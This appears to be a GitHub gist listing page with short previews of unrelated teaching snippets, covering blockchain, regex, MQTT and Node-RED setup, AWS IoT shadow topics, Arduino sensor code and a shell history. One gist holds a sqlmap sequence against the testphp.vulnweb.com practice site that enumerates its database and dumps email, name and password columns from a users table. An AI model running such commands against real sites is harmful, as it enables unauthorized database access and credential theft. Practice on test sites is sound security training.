This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Module 1 - Create a Blockchain | |
# To be installed: | |
# Flask==0.12.2: pip install Flask==0.12.2 | |
# Postman HTTP Client: https://www.getpostman.com/ | |
# Importing the libraries | |
import datetime | |
import hashlib | |
import json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs | |
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables | |
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns | |
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump | |
docker pull paoloo/sqlmap |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Ex1 : Phone number Validation | |
Rule 1) 10 digit number | |
Rule 2) First number should be between 6-9 | |
----------------------------------------------------------------------------- | |
Ex2 : Remove Zeros from the stream of numbers | |
3123213100031231230231321300354350077700 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Setting MQTT Server : | |
--------------------- | |
docker run -it --name mosquitto -p 1883:1883 eclipse-mosquitto | |
docker run --init -it --rm efrecon/mqtt-client sub \ | |
-h test.mosquitto.org -t "#" -v | |
docker run -it -p 1880:1880 --name mynodered nodered/node-red | |
npm i node-red-node-random |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Online Tools : | |
https://www.circuito.io/ | |
Interview Questions : | |
https://www.qualitythought.in/wp-content/uploads/2019/03/IOT-Interview-Que.pdf | |
----------------------------------------------------------------------------- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://www.youtube.com/watch?v=mPcvcsSL664 | |
Shadow Topics : | |
GET State >> | |
$aws/things/JulyIOTBatch/shadow/update/accepted | |
$aws/things/JulyIOTBatch/shadow/update/rejected |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Servo.h> | |
#include "I2Cdev.h" | |
#include "MPU6050_6Axis_MotionApps20.h" | |
Servo motor; | |
#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE | |
#include "Wire.h" | |
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ROBO India Blynk Board : | |
1. Input Switch 1 : GPI0 03 (D9) | |
2. Input Switch 2 : GPI0 01 (D10) | |
3. Output Relay 1 : GPI0 05 (D1) | |
4. Output Relay 2 : GPI0 04 (D2) | |
5. Output LED : GPI0 12 (D6) | |
6. Temperature & Humidity Sensor DHT-11 : GPI0 14 (D5) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1 yum update -y | |
2 clear | |
3 ls -lrt | |
4 clear | |
5 ifconfig | |
6 yum install httpd | |
7 yum install mysql -y | |
8 ls -lrt | |
9 mysql -h mydatabase.cz1fpo0hglyu.us-east-1.rds.amazonaws.com | |
10* |
NewerOlder